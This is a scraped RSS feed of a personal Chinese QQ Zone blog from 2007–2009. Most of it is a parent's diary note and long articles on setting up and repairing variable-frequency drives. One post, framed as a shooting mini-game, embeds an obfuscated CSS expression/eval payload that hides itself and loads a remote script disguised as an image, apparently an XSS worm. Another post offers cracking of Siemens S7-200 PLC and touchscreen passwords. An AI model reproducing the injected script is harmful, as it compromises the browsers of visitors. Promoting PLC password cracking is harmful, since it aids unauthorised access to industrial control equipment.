http://391739462.qzone.qq.com Thu, 26 Nov 2009 02:51:56 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Sat, 10 Oct 2009 22:54:58 GMT http://391739462.qzone.qq.com/blog/1255215298 你过找到薯片吗？
]]> http://391739462.qzone.qq.com/blog/1255215298#comment 8200 Sat, 10 Oct 2009 22:54:58 GMT http://391739462.qzone.qq.com/blog/1255215298 http://391739462.qzone.qq.com/blog/1254490365 　　试试你的枪法怎么样吧. 能打死多少只乌鸦呢?

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[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://391739462.qzone.qq.com/blog/1254490365#comment 4616 Fri, 02 Oct 2009 13:32:45 GMT http://391739462.qzone.qq.com/blog/1254490365 http://391739462.qzone.qq.com/blog/1254041084 提示：用鼠标点击美女任何部位都会给你带来惊喜

幽默、休闲、搞笑幽默、休闲、搞笑 ]]> http://391739462.qzone.qq.com/blog/1254041084#comment 4104 Sun, 27 Sep 2009 08:44:44 GMT http://391739462.qzone.qq.com/blog/1254041084 http://391739462.qzone.qq.com/blog/1253147113 ]]> http://391739462.qzone.qq.com/blog/1253147113#comment 134218240 Thu, 17 Sep 2009 00:25:13 GMT http://391739462.qzone.qq.com/blog/1253147113 http://391739462.qzone.qq.com/blog/1252638902 果然杨老师说，小孩头疼，要我及时领去看医生！
我急忙骑车到学校，用了不到五分钟就到了！
看到儿子，问他怎么回事，说头疼，我看他的精神比我还好！肯定是想逃课，没有办法，只好带回家！量过体温正常36.7度，现在流感很猖獗，小孩一有不舒服就要听课！
安排好！回公司正常工作！
做家长的真累！！！！ ]]> http://391739462.qzone.qq.com/blog/1252638902#comment 134217728 Fri, 11 Sep 2009 03:15:02 GMT http://391739462.qzone.qq.com/blog/1252638902 http://391739462.qzone.qq.com/blog/1213844428 变频器功能参数很多，一般都有数十甚至上百个参数供用户选择。实际应用中，没必要对每一参数都进行设置和调试，多数只要采用出厂设定值即可。但有些参数由于和实际使用情况有很大关系，且有的还相互关联，因此要根据实际进行设定和调试。 因各类型变频器功能有差异，而相同功能参数的名称也不一致，为叙述方便，本文以富士变频器基本参数名称为例。由于基本参数是各类型变频器几乎都有的，完全可以做到触类旁通。
一、加减速时间
加速时间就是输出频率从0上升到最大频率所需时间，减速时间是指从最大频率下降到0所需时间。通常用频率设定信号上升、下降来确定加减速时间。在电动机加速时须限制频率设定的上升率以防止过电流，减速时则限制下降率以防止过电压。 加速时间设定要求：将加速电流限制在变频器过电流容量以下，不使过流失速而引起变频器跳闸；减速时间设定要点是：防止平滑电路电压过大，不使再生过压失速而使变频器跳闸。加减速时间可根据负载计算出来，但在调试中常采取按负载和经验先设定较长加减速时间，通过起、停电动机观察有无过电流、过电压报警；然后将加减速设定时间逐渐缩短，以运转中不发生报警为原则，重复操作几次，便可确定出最佳加减速时间。
二、转矩提升
又叫转矩补偿，是为补偿因电动机定子绕组电阻所引起的低速时转矩降低，而把低频率范围f/V增大的方法。设定为自动时，可使加速时的电压自动提升以补偿起动转矩，使电动机加速顺利进行。如采用手动补偿时，根据负载特性，尤其是负载的起动特性，通过试验可选出较佳曲线。对于变转矩负载，如选择不当会出现低速时的输出电压过高，而浪费电能的现象，甚至还会出现电动机带负载
- 1 -
起动时电流大，而转速上不去的现象。
三、电子热过载保护
本功能为保护电动机过热而设置，它是变频器内CPU根据运转电流值和频率计算出电动机的温升，从而进行过热保护。本功能只适用于“一拖一”场合，而在“一拖多”时，则应在各台电动机上加装热继电器。 电子热保护设定值(%)=[电动机额定电流(A)/变频器额定输出电流(A)]×100%。
四、频率限制
即变频器输出频率的上、下限幅值。频率限制是为防止误操作或外接频率设定信号源出故障，而引起输出频率的过高或过低，以防损坏设备的一种保护功能。在应用中按实际情况设定即可。此功能还可作限速使用，如有的皮带输送机，由于输送物料不太多，为减少机械和皮带的磨损，可采用变频器驱动，并将变频器上限频率设定为某一频率值，这样就可使皮带输送机运行在一个固定、较低的工作速度上。
五、偏置频率
有的又叫偏差频率或频率偏差设定。其用途是当频率由外部模拟信号(电压或电流)进行设定时，可用此功能调整频率设定信号最低时输出频率的高低，如图1。有的变频器当频率设定信号为0%时，偏差值可作用在0～fmax范围内，有的变频器(如明电舍、三垦)还可对偏置极性进行设定。如在调试中当频率设定信号为0%时，变频器输出频率不为0Hz，而为xHz，则此时将偏置频率设定为负的xHz即可使变频器输出频率为0Hz。 - 2 -
六、频率设定信号增益
此功能仅在用外部模拟信号设定频率时才有效。它是用来弥补外部设定信号电压与变频器内电压(+10v)的不一致问题；同时方便模拟设定信号电压的选择，设定时，当模拟输入信号为最大时(如10v、5v或20mA)，求出可输出f/V图形的频率百分数并以此为参数进行设定即可；如外部设定信号为0～5v时，若变频器输出频率为0～50Hz，则将增益信号设定为200%即可。
七、转矩限制
可分为驱动转矩限制和制动转矩限制两种。它是根据变频器输出电压和电流值，经CPU进行转矩计算，其可对加减速和恒速运行时的冲击负载恢复特性有显著改善。转矩限制功能可实现自动加速和减速控制。假设加减速时间小于负载惯量时间时，也能保证电动机按照转矩设定值自动加速和减速。 驱动转矩功能提供了强大的起动转矩，在稳态运转时，转矩功能将控制电动机转差，而将电动机转矩限制在最大设定值内，当负载转矩突然增大时，甚至在加速时间设定过短时，也不会引起变频器跳闸。在加速时间设定过短时，电动机转矩也不会超过最大设定值。驱动转矩大对起动有利，以设置为80～100%较妥。 制动转矩设定数值越小，其制动力越大，适合急加减速的场合，如制动转矩设定数值设置过大会出现过压报警现象。如制动转矩设定为0%，可使加到主电容器的再生总量接近于0，从而使电动机在减速时，不使用制动电阻也能减速至停转而不会跳闸。但在有的负载上，如制动转矩设定为0%时，减速时会出现短暂空转现象，造成变频器反复起动，电流大幅度波动，严重时会使变频器跳闸，应引起注意。
八、加减速模式选择
又叫加减速曲线选择。一般变频器有线性、非线性和S三种曲线，通常大多选择线性曲线；非线性曲线适用于变转矩负载，如风机等；S曲线适用于恒转矩负载，其加减速变化较为缓慢。设定时可根据负载转矩特性，选择相应曲线，
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但也有例外，笔者在调试一台锅炉引风机的变频器时，先将加减速曲线选择非线性曲线，一起动运转变频器就跳闸，调整改变许多参数无效果，后改为S曲线后就正常了。究其原因是：起动前引风机由于烟道烟气流动而自行转动，且反转而成为负向负载，这样选取了S曲线，使刚起动时的频率上升速度较慢，从而避免了变频器跳闸的发生，当然这是针对没有起动直流制动功能的变频器所采用的方法。
九、转矩矢量控制
矢量控制是基于理论上认为：异步电动机与直流电动机具有相同的转矩产生机理。矢量控制方式就是将定子电流分解成规定的磁场电流和转矩电流，分别进行控制，同时将两者合成后的定子电流输出给电动机。因此，从原理上可得到与直流电动机相同的控制性能。采用转矩矢量控制功能，电动机在各种运行条件下都能输出最大转矩，尤其是电动机在低速运行区域。 现在的变频器几乎都采用无反馈矢量控制，由于变频器能根据负载电流大小和相位进行转差补偿，使电动机具有很硬的力学特性，对于多数场合已能满足要求，不需在变频器的外部设置速度反馈电路。这一功能的设定，可根据实际情况在有效和无效中选择一项即可。 与之有关的功能是转差补偿控制，其作用是为补偿由负载波动而引起的速度偏差，可加上对应于负载电流的转差频率。这一功能主要用于定位控制。
十、节能控制
风机、水泵都属于减转矩负载，即随着转速的下降，负载转矩与转速的平方成比例减小，而具有节能控制功能的变频器设计有专用V/f模式，这种模式可改善电动机和变频器的效率，其可根据负载电流自动降低变频器输出电压，从而达到节能目的，可根据具体情况设置为有效或无效。
要说明的是，九、十这两个参数是很先进的，但有一些用户在设备改造中，根本无法启用这两个参数，即启用后变频器跳闸频繁，停用后一切正常。究其原
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因有：(1)原用电动机参数与变频器要求配用的电动机参数相差太大。(2)对设定参数功能了解不够，如节能控制功能只能用于V/f控制方式中，不能用于矢量控制方式中。(3)启用了矢量控制方式，但没有进行电动机参数的手动设定和自动读取工作，或读取方法不当。 - 5 - ]]> http://391739462.qzone.qq.com/blog/1213844428#comment 512 Thu, 19 Jun 2008 03:00:28 GMT http://391739462.qzone.qq.com/blog/1213844428 http://391739462.qzone.qq.com/blog/1213843477 主题:

变频器常见的十大故障现象和故障分析[转帖]
1过流（OC）
过流是变频器报警最为频繁的现象。
1.1现象
(1) 重新启动时，一升速就跳闸。这是过电流十分严重的现象。主要原因有负载短路，机械部位有卡住;逆变模块损坏;电动机的转矩过小等现象引起。
(2) 上电就跳，这种现象一般不能复位，主要原因有模块坏、驱动电路坏、电流检测电路坏。
(3) 重新启动时并不立即跳闸而是在加速时，主要原因有加速时间设置太短、电流上限设置太小、转矩补偿(VF)设定较高。
1.2 实例
(1) 一台LG-IS3-4 3.7kW变频器一启动就跳“OC”
分析与维修打开机盖没有发现任何烧坏的迹象，在线测量IGBT(7MBR25NF-120)基本判断没有问题，为进一步判断问题，把IGBT拆下后测量7个单元的大功率晶体管开通与关闭都很好。在测量上半桥的驱动电路时发现有一路与其他两路有明显区别，经仔细检查发现一只光耦A3120输出脚与电源负极短路，更换后三路基本一样。模块装上上电运行一切良好。
(2) 一台BELTRO-VERT 2.2kW变频通电就跳“OC”且不能复位。
分析与维修首先检查逆变模块没有发现问题。其次检查驱动电路也没有异常现象，估计问题不在这一块，可能出在过流信号处理这一部位，将其电路传感器拆掉后上电，显示一切正常，故认为传感器已坏，找一新品换上后带负载实验一切正常。
二、 过压（OU）
过电压报警一般是出现在停机的时候，其主要原因是减速时间太短或制动电阻及制动单元有问题。
(1) 实例
一台台安N2系列3.7kW变频器在停机时跳“OU”。
分析与维修在修这台机器之前，首先要搞清楚“OU”报警的原因何在，这是因为变频器在减速时，电动机转子绕组切割旋转磁场的速度加快，转子的电动势和电流增大，使电机处于发电状态，回馈的能量通过逆变环节中与大功率开关管并联的二极管流向直流环节，使直流母线电压升高所致，所以我们应该着重检查制动回路，测量放电电阻没有问题，在测量制动管(ET191)时发现已击穿，更换后上电运行，且快速停车都没有问题。
三、欠压（Uu）
欠压也是我们在使用中经常碰到的问题。主要是因为主回路电压太低(220V系列低于200V，380V系列低于400V)，主要原因整流桥某一路损坏或可控硅三路中有工作不正常的都有可能导致欠压故障的出现，其次主回路接触器损坏，导致直流母线电压损耗在充电电阻上面有可能导致欠压.还有就是电压检测电路发生故障而出现欠压问题。
3.1 举例
(1) 一台CT 18.5kW变频器上电跳“Uu”。
分析与维修经检查这台变频器的整流桥充电电阻都是好的，但是上电后没有听到接触器动作，因为这台变频器的充电回路不是利用可控硅而是靠接触器的吸合来完成充电过程的，因此认为故障可能出在接触器或控制回路以及电源部分，拆掉接触器单独加24V直流电接触器工作正常。继而检查24V直流电源，经仔细检查该电压是经过LM7824稳压管稳压后输出的，测量该稳压管已损坏，找一新品更换后上电工作正常。
(2) 一台DANFOSS VLT5004变频器 ，上电显示正常，但是加负载后跳“ DC LINK UNDERVOLT”(直流回路电压低)。
分析与维修这台变频器从现象上看比较特别，但是你如果仔细分析一下问题也就不是那么复杂，该变频器同样也是通过充电回路，接触器来完成充电过程的，上电时没有发现任何异常现象，估计是加负载时直流回路的电压下降所引起，而直流回路的电压又是通过整流桥全波整流,然后由电容平波后提供的，所以应着重检查整流桥，经测量发现该整流桥有一路桥臂开路，更换新品后问题解决。
四、过热（OH）
过热也是一种比较常见的故障，主要原因周围温度过高，风机堵转，温度传感器性能不良，马达过热。
举例
一台ABB ACS500 22kW变频器客户反映在运行半小时左右跳“OH”。
分析与维修因为是在运行一段时间后才有故障，所以温度传感器坏的可能性不大，可能变频器的温度确实太高，通电后发现风机转动缓慢，防护罩里面堵满了很多棉絮(因该变频器是用在纺织行业)，经打扫后开机风机运行良好，运行数小时后没有再跳此故障。
五、输出不平衡
输出不平衡一般表现为马达抖动，转速不稳，主要原因模块坏，驱动电路坏，电抗器坏等。
5.1举例
一台富士 G9S 11KW变频器，输出电压相差100V左右。
分析与维修打开机器初步在线检查逆变模块(6MBI50N-120)没发现问题，测量6路驱动电路也没发现故障，将其模块拆下测量发现有一路上桥大功率晶体管不能正常导通和关闭，该模块已经损坏，经确认驱动电路无故障后更换新品后一切正常。
六、过载
过载也是变频器跳动比较频繁的故障之一，平时看到过载现象我们其实首先应该分析一下到底是马达过载还是变频器自身过载,一般来讲马达由于过载能力较强,只要变频器参数表的电机参数设置得当,一般不大会出现马达过载.而变频器本身由于过载能力较差很容易出现过载报警.我们可以检测变频器输出电压。
七、开关电源损坏
这是众多变频器最常见的故障，通常是由于开关电源的负载发生短路造成的，丹佛斯变频器采用了新型脉宽集成控制器UC2844来调整开关电源的输出，同时UC2844还带有电流检测，电压反馈等功能，当发生无显示，控制端子无电压，DC12V,24V风扇不运转等现象时我们首先应该考虑是否开关电源损坏了。
八、SC故障
SC故障是安川变频器较常见的故障。IGBT模块损坏，这是引起SC故障报警的原因之一。此外驱动电路损坏也容易导致SC故障报警。安川在驱动电路的设计上，上桥使用了驱动光耦PC923，这是专用于驱动IGBT模块的带有放大电路的一款光耦，安川的下桥驱动电路则是采用了光耦PC929，这是一款内部带有放大电路，及检测电路的光耦。此外电机抖动，三相电流，电压不平衡，有频率显示却无电压输出，这些现象都有可能是IGBT模块损坏。IGBT模块损坏的原因有多种，首先是外部负载发生故障而导致IGBT模块的损坏如负载发生短路，堵转等。其次驱动电路老化也有可能导致驱动波形失真，或驱动电压波动太大而导致IGBT损坏,从而导致SC故障报警。
九、GF—接地故障
接地故障也是平时会碰到的故障，在排除电机接地存在问题的原因外，最可能发生故障的部分就是霍尔传感器了，霍尔传感器由于受温度，湿度等环境因数的影响，工作点很容易发生飘移，导致GF报警。
十、限流运行
在平时运行中我们可能会碰到变频器提示电流极限。对于一般的变频器在限流报警出现时不能正常平滑的工作，电压(频率)首先要降下来，直到电流下降到允许的范围，一旦电流低于允许值，电压(频率)会再次上升，从而导致系统的不稳定。丹佛斯变频器采用内部斜率控制，在不超过预定限流值的情况下寻找工作点，并控制电机平稳地运行在工作点，并将警告信号反馈客户，依据警告信息我们再去检查负载和电机是否有问题。

变频器维修经验〔新手适用〕

作者： 红雪 ，2007-6-6 9:35:00 发表于：《变频器与调速论坛》 共有67人回复，2891次点击　 加为好友　　　发送留言
　　测试整流电路
　　 找到变频器内部直流电源的P端和N端，将万用表调到电阻X10档，红表棒接到P，黑
　　 表棒分别依到R、S、T，应该有大约几十欧的阻值，且基本平衡。相反将黑表棒接到P
　　 端，红表棒依次接到R、S、T，有一个接近于无穷大的阻值。将红表棒接到N端，重复
　　 以上步骤，都应得到相同结果。如果有以下结果，可以判定电路已出现异常，A.阻值
　　 三相不平衡，可以说明整流桥故障。B.红表棒接P端时，电阻无穷大，可以断定整流桥
　　 故障或起动电阻出现故障。
　　测试逆变电路
　　 将红表棒接到P端,黑表棒分别接U、V、W上，应该有几十欧的阻值，且各相阻值基
　　 本相同，反相应该为无穷大。将黑表棒接到N端，重复以上步骤应得到相同结果，否则
　　 可确定逆变模块故障
　　动态测试
　　 在静态测试结果正常以后，才可进行动态测试，即上电试机。在上电前后必须注意
　　 以下几点:
　　上电之前，须确认输入电压是否有误，将380V电源接入220V级变频器之中会出现炸机
　　 （炸电容、压敏电阻、模块等）。
　　检查变频器各接播口是否已正确连接,连接是否有松动,连接异常有时可能导致变频器
　　 出现故障,严重时会出现炸机等情况。
　　上电后检测故障显示内容,并初步断定故障及原因。
　　如未显示故障,首先检查参数是否有异常,并将参数复归后,进行空载(不接电机)情况下
　　 启动变频器,并测试U、V、W三相输出电压值。如出现缺相、三相不平衡等情况，则模
　　 块或驱动板等有故障
　　在输出电压正常（无缺相、三相平衡）的情况下，带载测试。测试时，最好是满负载
　　 测试。
　　故障判断
　　整流模块损坏
　　 一般是由于电网电压或内部短路引起。在排除内部短路情况下，更换整流桥。在现
　　 场处理故障时，应重点检查用户电网情况，如电网电压，有无电焊机等对电网有污染
　　 的设备等。
　　逆变模块损坏
　　 一般是由于电机或电缆损坏及驱动电路故障引起。在修复驱动电路之后，测驱动波
　　 形良好状态下，更换模块。在现场服务中更换驱动板之后，还必须注意检查马达及连
　　 接电缆。在确定无任何故障下，运行变频器。
　　上电无显示
　　 一般是由于开关电源损坏或软充电电路损坏使直流电路无直流电引起，如启动电阻
　　 损坏，也有可能是面板损坏。
　　上电后显示过电压或欠电压
　　 一般由于输入缺相，电路老化及电路板受潮引起。找出其电压检测电路及检测点，
　　 更换损坏的器件。
　　上电后显示过电流或接地短路
　　 一般是由于电流检测电路损坏。如霍尔元件、运放等。
　　启动显示过电流
　　 一般是由于驱动电路或逆变模块损坏引起。
　　空载输出电压正常,带载后显示过载或过电流
　　 该种情况一般是由于参数设置不当或驱动电路老化,模块损伤引起



东元M3参数P00改成05可看到65条参数，
P00改成08为参数2线式初始化
P00改成03参数可改
调参数千万注意不要轻易修改V/F曲线，要根据负载，试着慢慢调。
一般变频器出厂已经设定好了，就不要调了。如果不够力或电流过大，可慢慢调其数值，调之前最好做记录，因为即便做参数复归，VF修改值也不会变。
还有就是有的变频器不能轻易做复归的，有必要做参数复归的时候，要先抄下来原来的数值，避免给客户和自己带来麻烦。
一次一纸品厂客户反应东元变频器力不够，后改为矢量控制OK。

在变频器试VS马达未带负载的情况下，千万注意一定要修改加减速时间，因为马达未带负载惯力很大很容易炸模块，加减速时间调长或直接断电都可以，试好之后再调回来。
变频器在接线的时候要注意，不要把地线接到负极上，输入电源大多在左边，RST ，但也有在右面的，看到过一个老手，看也没仔细看，接好线上电就炸了。
三菱A540显示E UVT 低电压
处理意见
1 换7800
2检查主回路
3 检查继电器
4换面板和主板之间的连接线
安川主板显示CPF00一般都是主IC坏了，只能换主IC了。
其他象CPF01 CPF02大多都可以修，找块好板来对照，给好主板通直流电，然后记录各IC的各脚电压，再试坏板。虽然这个办法有点费劲，但最后可以修好才是真的。
]]> http://391739462.qzone.qq.com/blog/1213843477#comment 512 Thu, 19 Jun 2008 02:44:37 GMT http://391739462.qzone.qq.com/blog/1213843477 http://391739462.qzone.qq.com/blog/1207049285 大家好！西门子S7-200CN已经可以解密.可以解S7-200全系列PLC密码（222CN、224CN、224XPCN、226CN、226XMCN）(不管是国内,国外的都可以解),有需求请与我联系
维纶通和EVIEW MT500系列的 触摸屏解密
]]> http://391739462.qzone.qq.com/blog/1207049285#comment 512 Tue, 01 Apr 2008 11:28:05 GMT http://391739462.qzone.qq.com/blog/1207049285 http://391739462.qzone.qq.com/blog/1197345714 ]]> http://391739462.qzone.qq.com/blog/1197345714#comment 512 Tue, 11 Dec 2007 04:01:54 GMT http://391739462.qzone.qq.com/blog/1197345714 http://391739462.qzone.qq.com/blog/1197345407 一直想通过一种方式，让朋友们随时随地找到我，看到我

今天我开通了自己的空间
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另外，如果你在其他博客上有日记或者照片，可以用QQ空间搬家工具(http://n.qzone.qq.com/move/move_login.htm)把它们备份到QQ空间。让我们一起享受QQ空间的网络生活新体验！:) ]]> http://391739462.qzone.qq.com/blog/1197345407#comment 0 Tue, 11 Dec 2007 03:56:47 GMT http://391739462.qzone.qq.com/blog/1197345407